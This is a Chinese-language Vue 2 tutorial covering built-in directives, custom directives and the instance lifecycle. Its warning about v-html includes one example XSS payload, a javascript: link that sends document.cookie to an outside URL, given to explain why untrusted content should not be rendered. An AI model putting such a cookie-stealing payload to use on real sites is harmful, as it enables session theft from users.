Vue(三)内置指令v-text、html、cloak、once、pre;自定义指令的三种方式、Vue生命周期
文章目录
- 1. 内置指令
- 1.1 v-text、v-html指令
- 1.2 v-cloak指令
- 1.3 v-once指令
- 1.4 v-pre指令
- 2. 自定义指令(directives)
- 2.1 函数式
- 2.2 对象式
- 2.3 注意点
- 3. 生命周期
- 3.1 挂载流程
- 3.2 更新流程
- 3.3 销毁流程
1. 内置指令
1.1 v-text、v-html指令
v-text与v-html都是向所在的节点渲染文本内容,替换掉节点内的内容。
- v-text:不能解析标签
- v-html:能解析标签
<div id="root">
<!-- v-text会替换掉节点中的内容 -->
<div v-text="msg2">{{msg}}</div>
<!-- 解析标签 -->
<div v-html="msg3"></div>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
msg: '汉堡很好吃',
msg2: '炸鸡很好吃',
msg3: '<strong>炸鸡很好吃</strong>'
}
})
</script>
注:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,不要用在用户提交的内容上!
比如:
v-html渲染了这样一个a链接:
<div v-html="msg4"></div>
msg4: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接</a>'
当点击链接时,会把自身的cookie传出去,被别人拿到cookie很危险。(只是举个例子,document.cookie并不会将网站上的所有cookie都拿到)
1.2 v-cloak指令
v-cloak指令没有值,当Vue解析页面时,会将v-cloak删掉。
应用场景:解决网速慢时,Vue未接管容器,页面上渲染成:{{name}}。
<style>
[v-clock] {
display: none;
}
</style>
<body>
<!-- 准备一个容器 -->
<div id="root">
<div v-cloak>{{name}}</div>
</div>
</body>
<script>
const vm = new Vue({
...
data: {
name: 'tom'
}
})
</script>
当Vue未接管容器时,div有v-clock属性,style样式通过属性选择器对div进行隐藏,当Vue接管容器后,Vue会将v-clock属性删除,则样式不起作用,该内容呈现在页面上。
总结:
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
1.3 v-once指令
v-once所在结构的数值不会更新。
<div id="root">
<!-- 初始n设为1 -->
<h1>初始化的n值是{{n}}</h1>
<h1>当前的n值是{{n}}</h1>
<button @click="n++">n+1</button>
</div>
点击按钮,插值处的n都会变:
添加v-once指令后:
<h1 v-once>初始化的n值是{{n}}</h1>
总结:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
1.4 v-pre指令
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
<h1 v-pre>没有任何语法</h1>
<!-- 不进行编译,直接原模原样展现在页面上 -->
<h1 v-pre>有插值{{n}}</h1>
</div>
2. 自定义指令(directives)
2.1 函数式
需求:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
<!--模板内容-->
<div id="root">
<h2>{{msg}}</h2>
<h2>n的值为:<span v-text="n"></span></h2>
<h2>放大10倍后的值为<span v-big="n+1+2"></span></h2>
<button @click="n++">n+1</button>
</div>
语法:指令名(element,binding){...}
- 参数element:真实DOM元素
- 参数binding:一些绑定信息
//添加一个和data平级的新的配置项directives
directives: {
big (element, binding) {
console.dir(element);
console.log(binding);
element.innerText = binding.value*10
}
}
big函数何时被调用:
- 1.指令与元素成功绑定(一上来的时候)
- 2.指令所在的模板重新被解析的时候,(msg数据改变,模板重新解析,也会调用这个函数)
2.2 对象式
<body>
<button id="btn">点击生成一个输入框</button>
</body>
<script type="text/javascript">
const btn = document.querySelector('#btn')
btn.addEventListener('click', () => {
console.log('点击生成输入框');
const input = document.createElement('input') // 建立节点
input.value = 6 //设置内容值
input.style.backgroundColor = 'skyblue' // 设置背景色
input.className = 'demo' // 设置类名
input.onclick = () => alert(1) // 添加监听事件
console.log(input.parentNode);// null
document.body.appendChild(input) // 放入页面
input.focus() // 获取焦点
})
</script>
有一些对元素的操作,要在元素插入页面之后执行才有效。比如对input的父节点进行操作,若在插入页面之前对其父节点进行操作,则无效。
需求:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
分析:由于获取焦点focus这个函数需要在元素放入页面后执行,所以函数式自定义指令不可行。
对象式指令语法:指令名:{...}
配置对象中有常用的3个回调函数:bind inserted update
<input type="text" v-fbind:value="n">
<script>
directives: {
fbind: {
// 指令与元素建立连接时(绑定时)
bind (element, binding) {
console.log(binding.value);
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted (element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update (element, binding) {
element.value = binding.value
element.focus()
}
}
</script>
Vue首先将input元素与v-find指令绑定在一起,在内存中记录这个关联关系,后边再把input元素放入页面中。所以如果在inserted阶段没有任何操作的话,则可采用函数式自定义指令。
2.3 注意点
(1) 指令命名问题
如果是多个单词,需要使用-
连接
<h2>放大10倍后值为:<span v-big-number="n"></span></h2>
<script>
'big-number' (element, binding) {
// binding绑定,将元素与指定绑定在一起,确定该指令在哪个元素上起作用
element.innerText = binding.value
}
</script>
(2) this指向
无论是函数式自定义指令还是对象式自定义指令,this的指向都是Window
big (element, binding) {
console.log(this) // Window
},
fbind: {
bind (element, binding) {
console.log(this); // Window
},
inserted (element, binding) {
console.log(this); // Window
},
update (element, binding) {
console.log(this); // Window
}
}
(3)全局指令
语法:Vue.directive(指令名,配置对象)
或Vue.directive(指令名,回调函数)
// 全局指令
Vue.directive('big', (element, binding) => {
...
})
Vue.directive('fbind', {
...
inserted (element, binding) {
element.focus()
},
})
const vm = new Vue({
...
directives: {
// 这里的局部自定义指令只能在当前vm中使用
'big-number' (element, binding) {
...
},
fbind: {
...
}
}
})
3. 生命周期
3.1 挂载流程
针对beforeMount,证明一下两点:
证明1:页面呈现的是未经Vue编译的DOM结构
证明2:所有对DOM的操作,最终都不奏效
无论这里如何修改,接下来都会将刚才已经生成的虚拟DOM转成真实DOM插入页面中。在进入下一个流程mounted之后,对DOM的操作是有效的
3.2 更新流程
beforeUpdate () {
console.log('beforeUpdate,数据是新的,页面是旧的');
console.log('n的新值为:', this.n);
debugger
}
3.3 销毁流程
<button @click="bye">点击销毁vm</button>
<script>
// 按钮事件监听方法
bye () {
console.log('byebye');
// 执行销毁,完全销毁一个实例,解绑vm的全部指令及事件监听(指的是自定义的事件监听方法)
this.$destroy()
}
...
beforeDestroy () {
console.log('销毁之前');
// 能调用方法,修改数据。但是不会再触发更新了
this.add()
}
</script>
n值确实加1了,但是n的值没有更新
总结:
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在beforeDestroy里操作数据,因为即便操作数据,也不会再触发更新流程了。